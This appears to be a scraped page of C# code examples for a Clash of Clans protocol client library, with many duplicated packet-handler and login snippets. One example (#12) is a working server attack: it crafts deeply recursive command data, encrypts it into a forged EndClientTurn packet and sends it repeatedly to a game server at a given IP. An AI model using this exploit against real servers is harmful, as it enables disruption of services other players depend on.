예제 #1
0
 public static void RegisterInGamePacketHandler(CoCClient client)
 {
     client.RegisterDefaultPacketHandler(new AllianceInfoResponsePacket(), HandleAllianceInfoResponsePacket);
     client.RegisterDefaultPacketHandler(new ChatMessageServerPacket(), HandleChatMessageServerPacket);
     client.RegisterDefaultPacketHandler(new OwnHomeDataPacket(), HandleOwnHomeDataPacket);
     client.RegisterDefaultPacketHandler(new ServerErrorPacket(), HandleServerErrorPacket);
 }
 public static void HandleLoginSuccessPacket(CoCClient client, IPacket packet)
 {
     var lsPacket = packet as LoginSuccessPacket;
     Console.WriteLine("Successfully logged in!");
     Console.Write("Name: ");
     var name = Console.ReadLine();
     client.QueuePacket(new ChangeAvatarNamePacket()
     {
         NewName = name
     });
 }
        public static void HandleLoginSuccessPacket(CoCClient client, IPacket packet)
        {
            var lsPacket = packet as LoginSuccessPacket;

            Console.WriteLine("Successfully logged in!");
            Console.Write("Name: ");
            var name = Console.ReadLine();

            client.QueuePacket(new ChangeAvatarNamePacket()
            {
                NewName = name
            });
        }
예제 #4
0
        static void Main(string[] args)
        {
            var txt    = "Hallo Domi! du bist hääääääässlich";
            var stream = GenerateStreamFromString(txt);
            var client = new CoCClient();

            try
            {
                client.Upload(stream).Wait();
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
            Console.ReadLine();
        }
        public static void HandleLoginFailedPacket(CoCClient client, IPacket packet)
        {
            var lfPacket = packet as LoginFailedPacket;
            Console.WriteLine("Failed to login, reason: {0}", lfPacket.FailureReason);
            switch (lfPacket.FailureReason)
            {
                case LoginFailedPacket.LoginFailureReason.OutdatedContent:
                    if (lfPacket.Fingerprint != null)
                    {
                        var fingerprintJson = lfPacket.Fingerprint.ToJson();
                        File.WriteAllText("fingerprint.json", fingerprintJson);

                        Console.WriteLine("Server expected hash: {0}", lfPacket.Fingerprint.Hash);
                    }
                    break;
            }
        }
예제 #6
0
        public static void HandleLoginFailedPacket(CoCClient client, IPacket packet)
        {
            var lfPacket = packet as LoginFailedPacket;

            Console.WriteLine("Failed to login, reason: {0}", lfPacket.FailureReason);
            switch (lfPacket.FailureReason)
            {
            case LoginFailedPacket.LoginFailureReason.OutdatedContent:
                if (lfPacket.Fingerprint != null)
                {
                    var fingerprintJson = lfPacket.Fingerprint.ToJson();
                    File.WriteAllText("fingerprint.json", fingerprintJson);

                    Console.WriteLine("Server expected hash: {0}", lfPacket.Fingerprint.Hash);
                }
                break;
            }
        }
        public static void HandleOwnHomeDataPacket(CoCClient client, IPacket packet)
        {
            var ohdPacket = packet as OwnHomeDataPacket;
            client.Home = ohdPacket.Home;
            client.Avatar.Username = ohdPacket.Avatar.Username;

            if (ohdPacket.Avatar.Clan != null)
                Console.Title = string.Format("[{0}] - {1}", ohdPacket.Avatar.Clan.Name, ohdPacket.Avatar.Username);
            else
                Console.Title = string.Format("{0}", ohdPacket.Avatar.Username);

            Console.WriteLine("Village Info: ");
            Console.WriteLine("\tBuildings count: {0}", ohdPacket.Home.Buildings.Count);
            Console.WriteLine("\tDecorations count: {0}", ohdPacket.Home.Decorations.Count);
            Console.WriteLine("\tObstacles count: {0}", ohdPacket.Home.Obstacles.Count);
            Console.WriteLine("\tTraps count: {0}", ohdPacket.Home.Traps.Count);
            Console.WriteLine();
        }
예제 #8
0
        public static void HandleOwnHomeDataPacket(CoCClient client, IPacket packet)
        {
            var ohdPacket = packet as OwnHomeDataPacket;

            client.Home            = ohdPacket.Home;
            client.Avatar.Username = ohdPacket.Avatar.Username;

            if (ohdPacket.Avatar.Clan != null)
            {
                Console.Title = string.Format("[{0}] - {1}", ohdPacket.Avatar.Clan.Name, ohdPacket.Avatar.Username);
            }
            else
            {
                Console.Title = string.Format("{0}", ohdPacket.Avatar.Username);
            }

            Console.WriteLine("Village Info: ");
            Console.WriteLine("\tBuildings count: {0}", ohdPacket.Home.Buildings.Count);
            Console.WriteLine("\tDecorations count: {0}", ohdPacket.Home.Decorations.Count);
            Console.WriteLine("\tObstacles count: {0}", ohdPacket.Home.Obstacles.Count);
            Console.WriteLine("\tTraps count: {0}", ohdPacket.Home.Traps.Count);
            Console.WriteLine();
        }
예제 #9
0
        static void Main(string[] args)
        {
            var client = new CoCClient();

            foreach (var path in args)
            {
                try
                {
                    var bytes = File.ReadAllBytes(path);

                    Console.WriteLine($"Working on {path}", Color.Yellow);

                    client.Upload(new MemoryStream(bytes)).Wait();
                    Console.WriteLine($"Completed upload of {path}", Color.Yellow);
                }
                catch (Exception e)
                {
                    Console.WriteLine(e);
                }
                Console.WriteLine($"Starting clean up", Color.Yellow);
                Thread.Sleep(6000);
                Console.WriteLine($"All operations have been completed successfully", Color.Yellow);
            }
        }
예제 #10
0
 public static void HandleUpdateKeyPacket(CoCClient client, IPacket packet)
 {
     Console.WriteLine("Updated ciphers with new server key.");
 }
예제 #11
0
        public static void HandleLoginSuccessPacket(CoCClient client, IPacket packet)
        {
            var lsPacket = packet as LoginSuccessPacket;

            Console.WriteLine("Successfully logged in!\r\n");
        }
예제 #12
0
        public static void Main(string[] args)
        {
            //args = new string[]
            //{
            //    "-s", "1000", "-m", "f6d70976c986a10f9c5984b146cd6b6a4d3c61e2", "89.36.213.145"
            //};

            Parser = new CliParser();
            Client = new CoCClient();

            var ip = Parser.Parse(args);

            Console.WriteLine("[*] crafting recursive data with {0} depth recursion...", Parser.Size);
            var recursiveData = (byte[])null;

            using (var writer = new PacketWriter(new MemoryStream()))
            {
                RecursiveWrite(writer, Parser.Size);
                recursiveData = ((MemoryStream)writer.BaseStream).ToArray();
            }
            Console.WriteLine("[*] done crafting recursive data of {0} bytes long\n", recursiveData.Length);
            Console.WriteLine("[*] connecting to {0} with masterhash {1}...", ip, Parser.MasterHash);

            Client.MasterHash = Parser.MasterHash;
            Client.Connect(new IPEndPoint(IPAddress.Parse(ip), 9339));

            while (true)
            {
                if (Client.LoggedIn)
                {
                    Console.ReadKey(true);
                    Console.WriteLine("[*] crafting message...");
                    var body = new byte[recursiveData.Length + (4 + 4 + 4)]; // sizeof(subtick) + sizeof(checksum) + sizeof(commandcount).
                    using (var writer = new PacketWriter(new MemoryStream()))
                    {
                        // Write EndClientTurn Body.
                        writer.WriteInt32(1337); // Subtick
                        writer.WriteInt32(1337); // Checksum
                        writer.WriteInt32(1);    // CommandCount, only command which it self embeds the other commands.
                        writer.Write(recursiveData, 0, recursiveData.Length);
                        body = ((MemoryStream)writer.BaseStream).ToArray();
                    }

                    Console.WriteLine("[*] \tencrypting message body {0} bytes long", body.Length);
                    // Encrypt the message so that it can be decrypted properly.
                    Client.NetworkManager.CoCCrypto.Encrypt(body);

                    var packet = new byte[body.Length + 7]; // sizeof(header)
                    using (var writer = new PacketWriter(new MemoryStream()))
                    {
                        // Write header.
                        writer.WriteUInt16(14102);      // EndClientTurn Message ID
                        writer.WriteInt24(body.Length); // Message Length
                        writer.WriteUInt16(0);          // Message Version(Unknown)

                        writer.Write(body, 0, body.Length);
                        packet = ((MemoryStream)writer.BaseStream).ToArray();
                    }
                    Console.WriteLine("[*] \tdone crafting message", body);

                    Client.Connection.Send(packet);
                    Console.WriteLine("[+] \tsent crafted packet of {0} bytes long", packet.Length);
                }

                Thread.Sleep(100);
            }
        }
예제 #13
0
        public static void HandleChatMessageServerPacket(CoCClient client, IPacket packet)
        {
            var cmsPacket = packet as ChatMessageServerPacket;

            client.OnChatMessage(new ChatMessageEventArgs(cmsPacket));
        }
예제 #14
0
 public static void RegisterInGamePacketHandler(CoCClient client)
 {
     client.RegisterPacketHandler(new ChatMessageServerPacket(), HandleChatMessageServerPacket);
     client.RegisterPacketHandler(new OwnHomeDataPacket(), HandleOwnHomeDataPacket);
     client.RegisterPacketHandler(new ServerErrorPacket(), HandleServerErrorPacket);
 }
예제 #15
0
        public static void HandleServerErrorPacket(CoCClient client, IPacket packet)
        {
            var errPacket = packet as ServerErrorPacket;

            Console.WriteLine("Server Error: {0}", errPacket.ErrorMessage);
        }
 public static void HandleChatMessageServer(CoCClient client, IPacket packet)
 {
     var cmsPacket = packet as ChatMessageServerPacket;
     client.OnChatMessage(new ChatMessageEventArgs(cmsPacket));
 }
예제 #17
0
 public static void RegisterLoginPacketHandlers(CoCClient client)
 {
     client.RegisterDefaultPacketHandler(new LoginFailedPacket(), HandleLoginFailedPacket);
     client.RegisterDefaultPacketHandler(new LoginSuccessPacket(), HandleLoginSuccessPacket);
     client.RegisterDefaultPacketHandler(new UpdateKeyPacket(), HandleUpdateKeyPacket);
 }
 public static void HandleServerErrorPacket(CoCClient client, IPacket packet)
 {
     var errPacket = packet as ServerErrorPacket;
     Console.WriteLine("Server Error: {0}", errPacket.ErrorMessage);
 }
 public static void RegisterInGamePacketHandler(CoCClient client)
 {
     client.RegisterPacketHandler(new ChatMessageServerPacket(), HandleChatMessageServer);
 }
 public static void RegisterInGamePacketHandler(CoCClient client)
 {
     client.RegisterPacketHandler(new ChatMessageServerPacket(), HandleChatMessageServerPacket);
     client.RegisterPacketHandler(new OwnHomeDataPacket(), HandleOwnHomeDataPacket);
     client.RegisterPacketHandler(new ServerErrorPacket(), HandleServerErrorPacket);
 }
 public static void RegisterInGamePacketHandler(CoCClient client)
 {
     client.RegisterPacketHandler(new ChatMessageServerPacket(), HandleChatMessageServer);
 }
예제 #22
0
 public static void RegisterLoginPacketHandlers(CoCClient client)
 {
     client.RegisterPacketHandler(new LoginFailedPacket(), HandleLoginFailedPacket);
     client.RegisterPacketHandler(new LoginSuccessPacket(), HandleLoginSuccessPacket);
     client.RegisterPacketHandler(new UpdateKeyPacket(), HandleUpdateKeyPacket);
 }
예제 #23
0
 public static void HandleUpdateKeyPacket(CoCClient client, IPacket packet)
 {
     Console.WriteLine("Updated ciphers with new server key.");
 }
 public static void HandleLoginSuccessPacket(CoCClient client, IPacket packet)
 {
     var lsPacket = packet as LoginSuccessPacket;
     Console.WriteLine("Successfully logged in!\r\n");
 }